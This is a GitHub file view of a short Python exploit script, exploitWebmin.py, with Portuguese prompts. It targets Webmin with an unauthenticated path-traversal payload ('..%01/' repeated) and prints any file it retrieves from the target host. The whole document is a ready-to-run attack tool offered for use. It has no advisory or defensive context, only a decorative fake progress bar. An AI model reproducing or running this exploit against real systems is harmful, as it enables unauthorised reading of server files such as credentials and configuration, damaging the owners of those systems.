-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathexploitWebmin.py
33 lines (29 loc) · 1.2 KB
/
exploitWebmin.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
#!/usr/bin/python3
import requests
import argparse
from time import sleep
def main():
argsParse = argparse.ArgumentParser()
argsParse.add_argument("-pt", "--protocol", help="[+] Escolha entre HTTP ou HTTPS", type=str, required=True)
argsParse.add_argument("-t", "--target", help="[+] Digite o IP do alvo ou o dominio", type=str, required=True)
argsParse.add_argument("-p", "--port", help="[+] Escolha a porta do alvo", type=int, required=True)
argsParse.add_argument("-f", "--file", help="[+] Digite o arquivo que deseja visualizar", type=str, required=True)
args = argsParse.parse_args()
print("___________________")
print("| By: 0xRx7 |")
print("|_________________|")
payload = "..%01/" * 12
url = f"{args.protocol}://{args.target}:{args.port}/unauthenticated/{payload}{args.file}"
req = requests.get(url)
for i in range(1, 100):
print(f"[+] Processing => {i}%...100%", end="\r")
sleep(0.10)
print("__________________________________________________________")
if req.status_code == requests.codes.ok:
print("[+] File found!")
print(req.text)
else:
print("[-] Could not find the file :(")
print("__________________________________________________________")
if __name__ == "__main__":
main()